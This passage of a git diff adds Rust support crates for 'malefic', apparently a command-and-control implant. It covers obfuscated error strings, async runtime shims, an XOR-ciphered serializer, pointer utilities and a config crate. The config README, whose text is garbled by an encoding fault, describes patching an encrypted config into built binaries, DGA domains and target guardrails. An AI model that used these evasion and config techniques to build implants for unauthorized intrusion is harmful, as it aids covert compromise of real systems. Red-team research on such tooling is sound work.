std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + MaleficError::Panic(e) => std::fmt::Display::fmt(e, f), + MaleficError::UnpackError => f.write_str(obfstr!("failed to unpack data")), + MaleficError::MissBody => f.write_str(obfstr!("expected body is missing")), + MaleficError::UnExceptBody => f.write_str(obfstr!("unexpected body type")), + MaleficError::ModuleError => f.write_str(obfstr!("module execution failed")), + MaleficError::ModuleNotFound => f.write_str(obfstr!("module not found")), + MaleficError::AddonNotFound => f.write_str(obfstr!("addon not found")), + MaleficError::TaskError(e) => write!(f, "{}: {}", obfstr!("Task error"), e), + MaleficError::TransportError(s) => write!(f, "{}: {}", obfstr!("Transport"), s), + MaleficError::BeaconOnly(s) => write!(f, "{}: {}", obfstr!("beacon-only module"), s), + MaleficError::TaskNotFound => f.write_str(obfstr!("task not found")), + MaleficError::TaskOperatorNotFound => f.write_str(obfstr!("task operator not found")), + } + } +} + +impl std::error::Error for MaleficError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + MaleficError::Panic(e) => e.source(), + MaleficError::TaskError(e) => Some(e), + _ => None, + } + } +} + +impl From for MaleficError { + fn from(e: anyhow::Error) -> Self { + MaleficError::Panic(e) + } +} + +impl From for MaleficError { + fn from(e: TaskError) -> Self { + MaleficError::TaskError(e) + } +} + +impl MaleficError { + pub fn id(&self) -> u32 { + match self { + MaleficError::Panic { .. } => 1, + MaleficError::UnpackError => 2, + MaleficError::MissBody => 3, + MaleficError::ModuleError => 4, + MaleficError::ModuleNotFound => 5, + MaleficError::TaskError { .. } => 6, + MaleficError::TaskNotFound => 7, + MaleficError::TaskOperatorNotFound => 8, + MaleficError::AddonNotFound => 9, + MaleficError::UnExceptBody => 10, + MaleficError::TransportError { .. } => 11, + MaleficError::BeaconOnly { .. } => 12, + } + } +} + +// ---- CommonError (moved from common_error.rs) ---- + +#[derive(Debug)] +pub enum CommonError { + AnyError(anyhow::Error), + + Win32Error(u32), + + AllocationFailed, + + IOError(std::io::Error), + + FreeFailed, + + NotImpl, + + ArgsError(String), +} + +impl std::fmt::Display for CommonError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + CommonError::AnyError(e) => std::fmt::Display::fmt(e, f), + CommonError::Win32Error(code) => write!(f, "{}", code), + CommonError::AllocationFailed => f.write_str(obfstr!("memory allocation failed")), + CommonError::IOError(e) => std::fmt::Display::fmt(e, f), + CommonError::FreeFailed => f.write_str(obfstr!("memory free failed")), + CommonError::NotImpl => f.write_str(obfstr!("not implemented")), + CommonError::ArgsError(s) => f.write_str(s), + } + } +} + +impl std::error::Error for CommonError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + CommonError::AnyError(e) => e.source(), + CommonError::IOError(e) => Some(e), + _ => None, + } + } +} + +impl From for CommonError { + fn from(e: anyhow::Error) -> Self { + CommonError::AnyError(e) + } +} + +impl From for CommonError { + fn from(e: std::io::Error) -> Self { + CommonError::IOError(e) + } +} + +// ---- Defer ---- + +pub struct Defer { + #[allow(dead_code)] + message: String, +} +impl Defer { + pub fn new(message: &str) -> Self { + Defer { + message: message.to_string(), + } + } +} + +impl Drop for Defer { + fn drop(&mut self) { + debug!("{}", self.message); + } +} + +#[cfg(test)] +mod tests { + use super::debug_timestamp; + + #[test] + fn debug_timestamp_has_expected_shape() { + let ts = debug_timestamp(); + assert_eq!(ts.len(), 12); + assert_eq!(&ts[2..3], ":"); + assert_eq!(&ts[5..6], ":"); + assert_eq!(&ts[8..9], "."); + } +} diff --git a/malefic-crates/common/src/getrandom_compat.rs b/malefic-crates/common/src/getrandom_compat.rs new file mode 100644 index 0000000..6eb3d9e --- /dev/null +++ b/malefic-crates/common/src/getrandom_compat.rs @@ -0,0 +1,17 @@ +//! Linker shim: strong `getrandom()` symbol for glibc < 2.25 cross-compilation. +//! +//! Rust std uses `#[linkage = "extern_weak"]` to reference `getrandom()`, +//! but zig's linker (targeting old glibc) cannot resolve the weak symbol. +//! This strong definition overrides the weak reference. It forwards directly +//! to `syscall(SYS_getrandom, ...)` which works on kernels >= 3.17. + +#[no_mangle] +pub unsafe extern "C" fn getrandom( + buf: *mut core::ffi::c_void, + buflen: usize, + flags: core::ffi::c_uint, +) -> isize { + // libc::syscall() already handles errno (returns -1 and sets errno on error), + // so we just forward the return value directly. + libc::syscall(libc::SYS_getrandom, buf, buflen, flags) as isize +} diff --git a/malefic-crates/common/src/lib.rs b/malefic-crates/common/src/lib.rs new file mode 100644 index 0000000..99268d3 --- /dev/null +++ b/malefic-crates/common/src/lib.rs @@ -0,0 +1,184 @@ +pub mod errors; +pub mod tinyserde; +pub mod utils; + +#[cfg(any(feature = "random_nanorand", feature = "random_getrandom"))] +pub mod random; + +#[cfg(all(target_os = "linux", target_env = "gnu"))] +mod getrandom_compat; + +// Runtime mutual exclusion check +#[cfg(any( + all(feature = "tokio", feature = "async-std"), + all(feature = "tokio", feature = "smol"), + all(feature = "async-std", feature = "smol"), +))] +compile_error!("Only one runtime feature (tokio / async-std / smol) can be enabled at a time"); + +#[cfg(any(feature = "async-std", feature = "smol", feature = "tokio"))] +use std::sync::{Arc, Mutex}; + +#[cfg(feature = "async-std")] +pub use async_std::task::spawn; +#[cfg(feature = "smol")] +pub use smol::spawn; +#[cfg(feature = "tokio")] +pub use tokio::task::spawn; + +#[cfg(feature = "async-std")] +pub use async_std::task::spawn_blocking; +#[cfg(feature = "smol")] +pub use smol::unblock as spawn_blocking; +#[cfg(feature = "tokio")] +pub use tokio::task::spawn_blocking; + +#[cfg(feature = "async-std")] +pub use async_std::task::JoinHandle as Handle; +#[cfg(feature = "smol")] +pub use smol::Task as Handle; +#[cfg(feature = "tokio")] +pub use tokio::task::JoinHandle as Handle; + +#[async_trait::async_trait] +pub trait CancellableHandle { + fn cancel(&self); +} + +#[cfg(feature = "async-std")] +impl CancellableHandle for Arc>>> { + fn cancel(&self) { + if let Ok(mut handle) = self.lock() { + if let Some(h) = handle.take() { + h.cancel(); + } + } + } +} + +#[cfg(feature = "smol")] +impl CancellableHandle for Arc>>> { + fn cancel(&self) { + if let Ok(mut handle) = self.lock() { + if let Some(h) = handle.take() { + h.cancel(); + } + } + } +} + +#[cfg(feature = "tokio")] +impl CancellableHandle for Arc>>> { + fn cancel(&self) { + if let Ok(mut handle) = self.lock() { + if let Some(h) = handle.take() { + h.abort(); + } + } + } +} + +#[cfg(feature = "async-std")] +pub type RuntimeHandle = Arc>>>; +#[cfg(feature = "smol")] +pub type RuntimeHandle = Arc>>>; +#[cfg(feature = "tokio")] +pub type RuntimeHandle = Arc>>>; + +/// Await a spawn handle, returning `Ok(T)` uniformly across runtimes. +/// +/// - **tokio**: `JoinHandle.await` returns `Result` — maps the error. +/// - **async-std** / **smol**: `.await` returns `T` directly — wraps in `Ok`. +#[cfg(feature = "tokio")] +pub async fn join_handle(handle: Handle) -> anyhow::Result +where + T: Send + 'static, +{ + handle + .await + .map_err(|e| anyhow::anyhow!("task join error: {}", e)) +} + +#[cfg(feature = "async-std")] +pub async fn join_handle(handle: Handle) -> anyhow::Result +where + T: Send + 'static, +{ + Ok(handle.await) +} + +#[cfg(feature = "smol")] +pub async fn join_handle(handle: Handle) -> anyhow::Result +where + T: Send + 'static, +{ + Ok(handle.await) +} + +/// Runtime-agnostic sleep, backed by `futures_timer::Delay`. +pub async fn sleep(duration: std::time::Duration) { + futures_timer::Delay::new(duration).await; +} + +/// Runtime-agnostic block_on with worker thread hint. +/// +/// - **tokio**: builds a multi-thread runtime with `worker_threads` threads +/// and `max_blocking_threads` blocking threads. +/// - **async-std** / **smol**: uses the runtime's native `block_on`; +/// `_worker_threads` / `_max_blocking_threads` are ignored (thread pool is auto-managed). +/// - **no runtime feature**: falls back to `futures::executor::block_on`. +#[cfg(feature = "tokio")] +pub fn block_on( + worker_threads: usize, + max_blocking_threads: usize, + fut: F, +) -> F::Output { + tokio::runtime::Builder::new_multi_thread() + .worker_threads(worker_threads) + .max_blocking_threads(max_blocking_threads) + .enable_all() + .build() + .expect("failed to build tokio runtime") + .block_on(fut) +} + +#[cfg(feature = "async-std")] +pub fn block_on( + _worker_threads: usize, + _max_blocking_threads: usize, + fut: F, +) -> F::Output { + async_std::task::block_on(fut) +} + +#[cfg(feature = "smol")] +pub fn block_on( + _worker_threads: usize, + _max_blocking_threads: usize, + fut: F, +) -> F::Output { + smol::block_on(fut) +} + +#[cfg(not(any(feature = "tokio", feature = "async-std", feature = "smol")))] +pub fn block_on( + _worker_threads: usize, + _max_blocking_threads: usize, + fut: F, +) -> F::Output { + futures::executor::block_on(fut) +} + +#[macro_export] +macro_rules! check_body { + ($field:expr, $variant:path) => {{ + if $field.body.is_none() { + Err($crate::errors::MaleficError::MissBody) + } else { + match $field.body { + Some($variant(inner_body)) => Ok(inner_body), + _ => Err($crate::errors::MaleficError::UnExceptBody), + } + } + }}; +} diff --git a/malefic-crates/common/src/random.rs b/malefic-crates/common/src/random.rs new file mode 100644 index 0000000..71ae4cc --- /dev/null +++ b/malefic-crates/common/src/random.rs @@ -0,0 +1,55 @@ +//! Unified random API. +//! +//! Backend selection via features (mutually exclusive by convention): +//! - `random_nanorand`: fast PRNG (WyRand) +//! - `random_getrandom`: OS cryptographic RNG +//! +//! If both are enabled, `getrandom` takes priority (crypto-safe). + +// ---- Fill bytes ---- + +#[cfg(feature = "random_getrandom")] +pub fn fill(buf: &mut [u8]) { + getrandom::getrandom(buf).expect("OS RNG unavailable"); +} + +#[cfg(all(feature = "random_nanorand", not(feature = "random_getrandom")))] +pub fn fill(buf: &mut [u8]) { + use nanorand::Rng; + nanorand::WyRand::new().fill_bytes(buf); +} + +pub fn bytes() -> [u8; N] { + let mut buf = [0u8; N]; + fill(&mut buf); + buf +} + +pub fn random_u8() -> u8 { + bytes::<1>()[0] +} + +// ---- Range generation ---- + +#[cfg(all(feature = "random_nanorand", not(feature = "random_getrandom")))] +pub fn range_u64(low: u64, high: u64) -> u64 { + use nanorand::Rng; + nanorand::WyRand::new().generate_range(low..high) +} + +#[cfg(all(feature = "random_nanorand", not(feature = "random_getrandom")))] +pub fn range_usize(low: usize, high: usize) -> usize { + use nanorand::Rng; + nanorand::WyRand::new().generate_range(low..high) +} + +#[cfg(feature = "random_getrandom")] +pub fn range_u64(low: u64, high: u64) -> u64 { + let raw = u64::from_le_bytes(bytes::<8>()); + low + raw % (high - low) +} + +#[cfg(feature = "random_getrandom")] +pub fn range_usize(low: usize, high: usize) -> usize { + range_u64(low as u64, high as u64) as usize +} diff --git a/malefic-crates/common/src/tinyserde.rs b/malefic-crates/common/src/tinyserde.rs new file mode 100644 index 0000000..3bfb737 --- /dev/null +++ b/malefic-crates/common/src/tinyserde.rs @@ -0,0 +1,403 @@ +extern crate alloc; + +use alloc::collections::BTreeMap; +use alloc::string::{String, ToString}; +use alloc::vec::Vec; +use core::convert::{TryFrom, TryInto}; +use core::fmt; + +#[derive(Debug)] +pub enum Error { + UnexpectedEof, + InvalidUtf8, + InvalidTag(u8), + TrailingBytes, + DecryptionFailed, + TypeMismatch(&'static str), +} + +impl fmt::Display for Error { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Error::UnexpectedEof => write!(f, "Unexpected end of file"), + Error::InvalidUtf8 => write!(f, "Invalid UTF-8 sequence"), + Error::InvalidTag(t) => write!(f, "Invalid tag encountered: 0x{:02x}", t), + Error::TrailingBytes => write!(f, "Data remains after deserialization"), + Error::DecryptionFailed => write!(f, "Decryption failed or integrity check error"), + Error::TypeMismatch(expected) => write!(f, "Expected type: {}", expected), + } + } +} + +impl std::error::Error for Error {} + +pub type Result = core::result::Result; + +pub trait Cipher { + fn encrypt(&self, input: &[u8], output: &mut Vec); + fn decrypt(&self, input: &[u8], output: &mut Vec) -> Result<()>; +} + +pub struct XorCipher { + seed: u64, +} + +impl XorCipher { + pub fn new(seed: u64) -> Self { + Self { seed } + } + + fn next_u8(state: &mut u64) -> u8 { + let mut x = *state; + x ^= x << 13; + x ^= x >> 7; + x ^= x << 17; + *state = x; + x as u8 + } + + fn process(seed: u64, input: &[u8], output: &mut Vec) { + let mut state = seed; + output.reserve(input.len()); + for &b in input { + output.push(b ^ Self::next_u8(&mut state)); + } + } +} + +impl Cipher for XorCipher { + fn encrypt(&self, input: &[u8], output: &mut Vec) { + Self::process(self.seed, input, output); + } + + fn decrypt(&self, input: &[u8], output: &mut Vec) -> Result<()> { + Self::process(self.seed, input, output); + Ok(()) + } +} + +#[derive(Debug, Clone, PartialEq)] +pub enum Value { + Null, + Bool(bool), + Int(i64), + Float(f64), + Str(String), + Bytes(Vec), + Seq(Vec), + Map(BTreeMap), +} + +mod tags { + pub const NULL: u8 = 0x00; + pub const FALSE: u8 = 0x01; + pub const TRUE: u8 = 0x02; + pub const INT: u8 = 0x03; + pub const FLOAT: u8 = 0x04; + pub const STR: u8 = 0x05; + pub const BYTES: u8 = 0x06; + pub const SEQ: u8 = 0x07; + pub const MAP: u8 = 0x08; +} + +impl Value { + pub fn to_bytes(&self) -> Vec { + let mut buf = Vec::new(); + self.encode_into(&mut buf); + buf + } + + pub fn to_bytes_encrypted(&self, cipher: &C) -> Vec { + let mut plain = Vec::new(); + self.encode_into(&mut plain); + + let mut encrypted = Vec::with_capacity(plain.len()); + cipher.encrypt(&plain, &mut encrypted); + encrypted + } + + fn encode_into(&self, buf: &mut Vec) { + use tags::*; + match self { + Value::Null => buf.push(NULL), + Value::Bool(false) => buf.push(FALSE), + Value::Bool(true) => buf.push(TRUE), + Value::Int(n) => { + buf.push(INT); + buf.extend_from_slice(&n.to_le_bytes()); + } + Value::Float(f) => { + buf.push(FLOAT); + buf.extend_from_slice(&f.to_le_bytes()); + } + Value::Str(s) => { + buf.push(STR); + encode_varint(buf, s.len()); + buf.extend_from_slice(s.as_bytes()); + } + Value::Bytes(b) => { + buf.push(BYTES); + encode_varint(buf, b.len()); + buf.extend_from_slice(b); + } + Value::Seq(seq) => { + buf.push(SEQ); + encode_varint(buf, seq.len()); + for item in seq { + item.encode_into(buf); + } + } + Value::Map(map) => { + buf.push(MAP); + encode_varint(buf, map.len()); + for (k, v) in map { + encode_varint(buf, k.len()); + buf.extend_from_slice(k.as_bytes()); + v.encode_into(buf); + } + } + } + } + + pub fn from_bytes(bytes: &[u8]) -> Result { + let mut cursor = Cursor::new(bytes); + let val = cursor.decode()?; + if !cursor.is_empty() { + return Err(Error::TrailingBytes); + } + Ok(val) + } + + pub fn from_bytes_encrypted(bytes: &[u8], cipher: &C) -> Result { + let mut plain = Vec::with_capacity(bytes.len()); + cipher.decrypt(bytes, &mut plain)?; + Self::from_bytes(&plain) + } +} + +fn encode_varint(buf: &mut Vec, mut n: usize) { + while n >= 0x80 { + buf.push((n as u8) | 0x80); + n >>= 7; + } + buf.push(n as u8); +} + +struct Cursor<'a> { + data: &'a [u8], + pos: usize, +} + +impl<'a> Cursor<'a> { + fn new(data: &'a [u8]) -> Self { + Self { data, pos: 0 } + } + + fn is_empty(&self) -> bool { + self.pos >= self.data.len() + } + + fn read_u8(&mut self) -> Result { + if self.pos < self.data.len() { + let b = self.data[self.pos]; + self.pos += 1; + Ok(b) + } else { + Err(Error::UnexpectedEof) + } + } + + fn read_exact(&mut self, len: usize) -> Result<&'a [u8]> { + if self.pos + len <= self.data.len() { + let slice = &self.data[self.pos..self.pos + len]; + self.pos += len; + Ok(slice) + } else { + Err(Error::UnexpectedEof) + } + } + + fn read_varint(&mut self) -> Result { + let mut n: usize = 0; + let mut shift = 0; + loop { + let b = self.read_u8()?; + n |= ((b & 0x7F) as usize) << shift; + if (b & 0x80) == 0 { + return Ok(n); + } + shift += 7; + if shift > 64 { + return Err(Error::DecryptionFailed); + } + } + } + + fn decode(&mut self) -> Result { + use tags::*; + let tag = self.read_u8()?; + match tag { + NULL => Ok(Value::Null), + FALSE => Ok(Value::Bool(false)), + TRUE => Ok(Value::Bool(true)), + INT => { + let bytes = self.read_exact(8)?; + Ok(Value::Int(i64::from_le_bytes(bytes.try_into().unwrap()))) + } + FLOAT => { + let bytes = self.read_exact(8)?; + Ok(Value::Float(f64::from_le_bytes(bytes.try_into().unwrap()))) + } + STR => { + let len = self.read_varint()?; + let bytes = self.read_exact(len)?; + let s = alloc::str::from_utf8(bytes).map_err(|_| Error::InvalidUtf8)?; + Ok(Value::Str(s.to_string())) + } + BYTES => { + let len = self.read_varint()?; + let bytes = self.read_exact(len)?; + Ok(Value::Bytes(bytes.to_vec())) + } + SEQ => { + let len = self.read_varint()?; + let mut seq = Vec::with_capacity(len); + for _ in 0..len { + seq.push(self.decode()?); + } + Ok(Value::Seq(seq)) + } + MAP => { + let len = self.read_varint()?; + let mut map = BTreeMap::new(); + for _ in 0..len { + let k_len = self.read_varint()?; + let k_bytes = self.read_exact(k_len)?; + let k = alloc::str::from_utf8(k_bytes).map_err(|_| Error::InvalidUtf8)?; + let v = self.decode()?; + map.insert(k.to_string(), v); + } + Ok(Value::Map(map)) + } + t => Err(Error::InvalidTag(t)), + } + } +} + +impl TryFrom for i64 { + type Error = Error; + fn try_from(v: Value) -> Result { + if let Value::Int(n) = v { + Ok(n) + } else { + Err(Error::TypeMismatch("i64")) + } + } +} + +impl TryFrom for String { + type Error = Error; + fn try_from(v: Value) -> Result { + if let Value::Str(s) = v { + Ok(s) + } else { + Err(Error::TypeMismatch("String")) + } + } +} + +impl From for Value { + fn from(v: i32) -> Self { + Value::Int(v as i64) + } +} + +impl From for Value { + fn from(v: i64) -> Self { + Value::Int(v) + } +} + +impl From for Value { + fn from(v: f64) -> Self { + Value::Float(v) + } +} + +impl From for Value { + fn from(v: bool) -> Self { + Value::Bool(v) + } +} + +impl From<&str> for Value { + fn from(v: &str) -> Self { + Value::Str(v.to_string()) + } +} + +impl From for Value { + fn from(v: String) -> Self { + Value::Str(v) + } +} + +impl From> for Value { + fn from(v: Vec) -> Self { + Value::Bytes(v) + } +} + +#[macro_export] +macro_rules! val { + (null) => { $crate::tinyserde::Value::Null }; + ([ $( $elem:tt ),* ]) => { + $crate::tinyserde::Value::Seq(alloc::vec![ $( $crate::val!($elem) ),* ]) + }; + ({ $( $key:tt : $val:tt ),* }) => { + { + let mut m = alloc::collections::BTreeMap::new(); + $( m.insert(alloc::string::String::from($key), $crate::val!($val)); )* + $crate::tinyserde::Value::Map(m) + } + }; + ($other:expr) => { $crate::tinyserde::Value::from($other) }; +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::val; + + #[test] + fn test_full_flow() { + let config = val!({ + "id": 101, + "name": "RustyConfig", + "features": ["secure", "fast"], + "meta": { "active": true } + }); + + let key = 0x1234_5678_9ABC_DEF0; + let cipher = XorCipher::new(key); + + let encrypted_bytes = config.to_bytes_encrypted(&cipher); + let plain_bytes = config.to_bytes(); + + assert_ne!(encrypted_bytes, plain_bytes); + + let decoded = Value::from_bytes_encrypted(&encrypted_bytes, &cipher) + .expect("Should decrypt successfully"); + + assert_eq!(config, decoded); + } + + #[test] + fn test_type_conversion() { + use core::convert::TryInto; + + let v = val!(42); + let n: i64 = v.try_into().unwrap(); + assert_eq!(n, 42); + } +} diff --git a/malefic-crates/common/src/utils.rs b/malefic-crates/common/src/utils.rs new file mode 100644 index 0000000..00ef424 --- /dev/null +++ b/malefic-crates/common/src/utils.rs @@ -0,0 +1,107 @@ +pub unsafe fn pointer_add(base_point: *const T, offset: usize) -> *const core::ffi::c_void { + ((base_point as *const core::ffi::c_void) as usize + offset) as _ +} + +pub unsafe fn pointer_sub(base_point: *const T, offset: usize) -> *const core::ffi::c_void { + ((base_point as *const core::ffi::c_void) as usize - offset) as _ +} + +pub fn dbj2_str_hash(buffer: &[u8]) -> u32 { + let mut hsh: u32 = 5381; + let mut iter: usize = 0; + let mut cur: u8; + + while iter.lt(&buffer.len()) { + cur = buffer[iter]; + + if cur.eq(&0) { + iter += 1; + continue; + } + + if cur.ge(&('a' as u8)) { + cur -= 0x20; + } + + hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; + iter += 1; + } + + return hsh; +} + +pub fn get_cstr_len(pointer: *const u8) -> usize { + unsafe { + (0..) + .take_while(|&i| *(((pointer as usize) + i) as *const u8) != 0) + .count() + } +} + +pub fn get_wcstr_len(pointer: *const u16) -> usize { + unsafe { + (0..) + .take_while(|&i| *(((pointer as usize) + i) as *const u16) != 0) + .count() + } +} + +pub fn get_wcc_str_len(pointer: *const u16) -> usize { + unsafe { (0..).take_while(|&i| *pointer.add(i) != 0).count() } +} + +pub fn format_cmdline(processname: String, params: Vec) -> String { + if params.is_empty() { + return format_osstring(processname); + } + + let param_str = params + .iter() + .map(|param| { + if param.contains(' ') && !param.starts_with('"') && !param.ends_with('"') { + format!("\"{}\"", param) + } else { + param.clone() + } + }) + .collect::>() + .join(" "); + + format_osstring(processname + " " + ¶m_str) +} + +pub fn format_osstring(os_string: String) -> String { + use std::ffi::OsString; + #[cfg(target_os = "windows")] + { + use std::os::windows::ffi::OsStrExt; + String::from_utf16_lossy( + &OsString::from(os_string) + .encode_wide() + .collect::>(), + ) + } + #[cfg(not(target_os = "windows"))] + { + String::from(OsString::from(os_string).to_string_lossy()) + } +} + +pub fn convert_u8p2vec(data: *const u8) -> Vec { + unsafe { + let mut ret_vec = Vec::new(); + if data.is_null() { + return ret_vec; + } + let mut i = 0; + loop { + let byte = *data.add(i); + if byte == 0 { + break; + } + ret_vec.push(byte); + i += 1; + } + ret_vec + } +} diff --git a/malefic-crates/config/Cargo.toml b/malefic-crates/config/Cargo.toml new file mode 100644 index 0000000..6a66c30 --- /dev/null +++ b/malefic-crates/config/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "malefic-config" +version = "0.1.0" +edition = "2021" + +[features] +default = [] +encoder = [] +secure = [] + +[dependencies] +malefic-gateway = { workspace = true } +base64 = { workspace = true } +malefic-common = { workspace = true } diff --git a/malefic-crates/config/README.md b/malefic-crates/config/README.md new file mode 100644 index 0000000..c091aa1 --- /dev/null +++ b/malefic-crates/config/README.md @@ -0,0 +1,75 @@ +# malefic-config + +è¿è¡Œæ—¶é…置管ç†ä¸ŽäºŒè¿›åˆ¶ patch 模å—,负责é…置的定义ã€åºåˆ—化/ååºåˆ—化,以åŠé€šè¿‡åµŒå…¥å¼ blob 实现编译åŽçš„é…置热替æ¢ã€‚ + +## 功能简介 + +- 定义完整的è¿è¡Œæ—¶é…置结构体 `RuntimeConfig`,涵盖调度ã€é€šä¿¡ã€ä»£ç†ã€DGAã€Guardrail ç­‰é…置项 +- 在二进制中嵌入固定长度(4096 字节)的 `CONFIG_BLOB_TEXT` 缓冲区,支æŒç¼–译åŽé€šè¿‡å¤–部工具原地 patch é…ç½® +- 使用 XOR 加密 + Base64 ç¼–ç ä¿æŠ¤åµŒå…¥çš„é…ç½®æ•°æ® +- 通过 `lazy_static` 在首次访问时加载é…ç½®ï¼Œä¼˜å…ˆè¯»å– patch åŽçš„ blob,无 patch 时回退到编译期默认值 +- 支æŒå¤šç§ä¼ è¾“åè®®é…置:TCPã€HTTPã€REM +- æ”¯æŒ TLS/mTLSã€ä»£ç†ã€DGA 域å生æˆã€Guardrail 环境校验等高级特性 + +## Features + +| Feature | 说明 | +|---------|------| +| `encoder` | å¯ç”¨é…置编ç åŠŸèƒ½ï¼ˆ`encode_runtime_config`),通常仅在构建工具侧使用,implant 本身ä¸éœ€è¦ | + +## é…置结构 + +`RuntimeConfig` 包å«ä»¥ä¸‹é…置域: + +| é…置域 | 字段 | 说明 | +|--------|------|------| +| 调度 | `cron`, `jitter` | Cron 表达å¼ä¸ŽæŠ–动系数 | +| é€šä¿¡æ¨¡å¼ | `keepalive` | 新会è¯å¯åŠ¨åŽæ˜¯å¦ç›´æŽ¥è¿›å…¥ Duplex keepalive | +| 容错 | `retry`, `max_cycles` | é‡è¯•次数与最大循环数 | +| 身份 | `name`, `key` | 实例å称与加密密钥 | +| ä»£ç† | `proxy_*`, `use_env_proxy` | ä»£ç†æœåС噍é…ç½® | +| DGA | `dga_enable`, `dga_key`, `dga_interval_hours` | 域å生æˆç®—法é…ç½® | +| Guardrail | `guardrail` | è¿è¡ŒçŽ¯å¢ƒæ ¡éªŒï¼ˆIPã€ç”¨æˆ·åã€ä¸»æœºåã€åŸŸï¼‰ | +| æœåŠ¡ç«¯ | `server_configs` | 多æœåŠ¡ç«¯è¿žæŽ¥é…置列表 | + +## 基本用法 + +ç›´æŽ¥é€šè¿‡å¯¼å‡ºçš„é™æ€å˜é‡è®¿é—®é…置: + +```rust +use malefic_config::{CRON, KEEPALIVE, KEY, SERVER_CONFIGS, RUNTIME_CONFIG}; + +// 访问调度é…ç½® +let cron_expr = CRON.as_str(); +let jitter = *malefic_config::JITTER; +let keepalive = *KEEPALIVE; + +// 访问æœåŠ¡ç«¯é…ç½® +for server in SERVER_CONFIGS.iter() { + println!("address: {}, protocol: {:?}", server.address, server.protocol); +} +``` + +ç¼–ç é…置(需å¯ç”¨ `encoder` feature,用于构建工具侧): + +```rust +use malefic_config::{encode_runtime_config, decode_runtime_config_str, RuntimeConfig}; + +// å°† RuntimeConfig ç¼–ç ä¸ºå›ºå®šé•¿åº¦çš„ 4096 字节字符串 +let encoded = encode_runtime_config(&config).expect("encode failed"); + +// è§£ç è¿˜åŽŸ +let decoded = decode_runtime_config_str(&encoded).expect("decode failed"); +``` + +## Blob Patch åŽŸç† + +1. 编译时,`CONFIG_BLOB_TEXT` 以 `#[no_mangle]` 导出一个 4096 字节的固定缓冲区(å‰ç¼€ `CFGv3B64` + `#` 填充) +2. 外部 patch 工具在二进制中定ä½è¯¥ç¼“冲区,将加密åŽçš„é…置数æ®å†™å…¥ +3. è¿è¡Œæ—¶ `load_runtime_config` 读å–缓冲区,解密并ååºåˆ—化为 `RuntimeConfig` +4. 若缓冲区未被 patch(全为填充字符),则使用编译期硬编ç çš„默认é…ç½® + +## å‚考链接 + +- [Cron 表达å¼è¯­æ³•](https://docs.rs/cron/latest/cron/) +- [Domain Generation Algorithm (DGA)](https://en.wikipedia.org/wiki/Domain_generation_algorithm) diff --git a/malefic-crates/config/src/config.rs b/malefic-crates/config/src/config.rs new file mode 100644 index 0000000..55ec43f --- /dev/null +++ b/malefic-crates/config/src/config.rs @@ -0,0 +1,330 @@ +use malefic_gateway::obfstr::obfstr; +use malefic_gateway::ObfDebug; +use std::collections::HashMap; +use std::time::Duration; +// ============= Unified Configuration Structure ============= +#[derive(ObfDebug, Clone, PartialEq)] +pub struct SessionConfig { + pub read_chunk_size: usize, + pub deadline: Duration, + pub connect_timeout: Duration, + pub keepalive: bool, +} + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct ServerConfig { + pub address: String, + pub protocol: ProtocolType, + pub session_config: SessionConfig, + pub transport_config: TransportConfig, + pub tls_config: Option, + pub proxy_config: Option, + pub domain_suffix: Option, +} + +#[derive(ObfDebug, Clone, PartialEq)] +pub enum ProtocolType { + Tcp, + Http, + REM, + Other(String), +} + +#[derive(ObfDebug, Clone, PartialEq)] +pub enum TransportConfig { + Tcp(TcpConfig), + Http(HttpRequestConfig), + Rem(RemConfig), + Opaque(String), +} + +// ============= TCP Configuration Structure ============= + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct TcpConfig { + // TCP-specific configuration can be added here + // pub socket_options: Option, +} + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct SocketOptions { + pub nodelay: bool, + pub reuse_addr: bool, + pub send_buffer_size: Option, + pub recv_buffer_size: Option, +} + +// ============= HTTP Configuration Structure ============= + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct HttpRequestConfig { + pub method: String, + pub path: String, + pub version: String, + pub headers: HashMap, // Contains all HTTP headers + pub response_read_chunk_size: usize, + pub response_retry_delay: Duration, +} + +// ============= REM Configuration Structure ============= + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct RemConfig { + pub link: String, +} + +pub const DEFAULT_STREAM_READ_CHUNK_SIZE: usize = 8 * 1024; +const DEFAULT_STREAM_DEADLINE: Duration = Duration::from_secs(3); +const DEFAULT_STREAM_CONNECT_TIMEOUT: Duration = Duration::from_secs(3); + +const DEFAULT_REM_INTERVAL: Duration = Duration::from_secs(5); +const DEFAULT_REM_SESSION_DEADLINE_FACTOR: u32 = 10; +const DEFAULT_REM_CONNECT_TIMEOUT_FACTOR: u32 = 20; + +const DEFAULT_HTTP_RESPONSE_READ_CHUNK_SIZE: usize = 8 * 1024; +const DEFAULT_HTTP_RESPONSE_RETRY_DELAY: Duration = Duration::from_millis(10); + +// ============= Common Configuration Structure ============= + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct MTLSConfig { + /// Enable mTLS + pub enable: bool, + pub client_cert: Vec, + pub client_key: Vec, + pub server_ca: Vec, +} + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct TlsConfig { + pub enable: bool, + pub version: String, + pub sni: String, + pub skip_verification: bool, + pub server_ca: Vec, + pub mtls_config: Option, +} + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct ProxyConfig { + pub proxy_type: String, + pub host: String, + pub port: u16, + pub username: String, + pub password: String, +} + +// ============= Guardrail Configuration Structure ============= + +#[derive(ObfDebug, Clone, PartialEq)] +pub struct GuardrailConfig { + pub ip_addresses: Vec, + pub usernames: Vec, + pub server_names: Vec, + pub domains: Vec, + pub require_all: bool, +} + +// ============= Implementation Methods ============= + +// impl Default for TcpConfig { +// fn default() -> Self { +// Self { +// } +// } +// } + +impl SessionConfig { + pub fn new( + read_chunk_size: usize, + deadline: Duration, + connect_timeout: Duration, + keepalive: bool, + ) -> Self { + Self { + read_chunk_size, + deadline, + connect_timeout, + keepalive, + } + } + + pub fn default_for_transport(transport: &TransportConfig, keepalive: bool) -> Self { + match transport { + 